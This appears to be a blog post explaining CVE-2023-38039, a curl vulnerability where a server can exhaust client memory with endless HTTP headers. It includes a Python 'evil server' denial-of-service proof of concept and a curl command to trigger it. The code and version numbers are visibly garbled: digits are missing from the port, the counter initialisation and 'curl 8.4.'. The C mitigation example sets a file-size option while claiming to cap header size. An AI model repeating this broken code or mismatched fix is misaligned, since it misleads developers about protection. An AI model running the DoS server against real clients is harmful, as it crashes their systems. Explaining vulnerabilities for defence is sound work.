---
Introduction
If you’ve used the popular curl tool to fetch data from the internet, you might not think much about how it handles HTTP headers. But in 2023, a serious vulnerability was discovered: CVE-2023-38039. This flaw could let a malicious server crash your system — simply by sending an endless series of HTTP headers. In this post, we’ll break down how this works, see it in action with sample code, and discuss how to protect yourself.
What is CVE-2023-38039?
CVE-2023-38039 is a vulnerability found in curl and libcurl, where the client does not limit the amount or size of HTTP headers it accepts from a server. Normally, HTTP headers are a few dozen lines at most. But if a server keeps sending headers, curl will happily keep receiving and storing them. Without a limit, this can quickly fill up your computer’s memory and crash the process or the whole system.
*Official advisory:*
- curl Security Advisory for CVE-2023-38039
Why Is This So Dangerous?
Typical scenario:
The server never stops sending headers — it just keeps going.
What happens next:
A Simple Illustration
Let’s look at what typically happens under the hood. curl uses a loop to read HTTP headers until it sees an empty line, which marks the end of the headers:
while((line = read_next_header()) != "") {
store_header(line);
}
But in vulnerable versions, there’s no check for how many headers have already been stored. An attacker can just keep sending more.
Real-World Exploit Demo
Let’s make a simple “evil server” in Python that never stops sending headers.
evilheaders.py
import socket
import time
host = '...'
port = 808
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((host, port))
s.listen(1)
print(f"Listening on {host}:{port}")
conn, addr = s.accept()
with conn:
print('Connected by', addr)
response = "HTTP/1.1 200 OK\r\n"
conn.sendall(response.encode())
# Send endless headers
count =
while True:
header = f"X-Bad-Header-{count}: This is a neverending header\r\n"
conn.sendall(header.encode())
count += 1
time.sleep(.01) # Slow it down so you can see what's happening
# Theoretically, would never reach this line:
# conn.sendall(b"\r\n{\n \"result\": \"done\" }\r\n")
Now, from another terminal, you run
curl http://localhost:808/
With a vulnerable curl, you’ll see your memory use start to skyrocket. Eventually, curl (and maybe your system) will crash.
How Was This Fixed?
Starting in curl 8.4., limits were introduced. By default, curl will now stop reading headers after about 100 headers, or if headers are individually or collectively too large.
Commit:
- GitHub curl commit fixing header limits
How to check your version
curl --version
How To Protect Yourself
1. Update curl/libcurl to at least 8.4..
Example in C
CURL *curl = curl_easy_init();
if(curl) {
// Limit header size to 10 KB
curl_easy_setopt(curl, CURLOPT_MAXFILESIZE, 10 * 1024);
}
References
- curl CVE-2023-38039 Advisory
- NVD Entry
- curl Issue Tracker Discussion
- Full patch diff
Summary
CVE-2023-38039 is a classic example of a denial-of-service (DoS) caused by trusting input from servers too much. An unbounded list of HTTP headers can cripple your system. The fix was simple: set reasonable limits. Make sure you patch your tools and libraries — especially curl — and stay safe online!
Timeline
Published on: 09/15/2023 04:15:00 UTC
Last modified on: 10/11/2023 11:15:00 UTC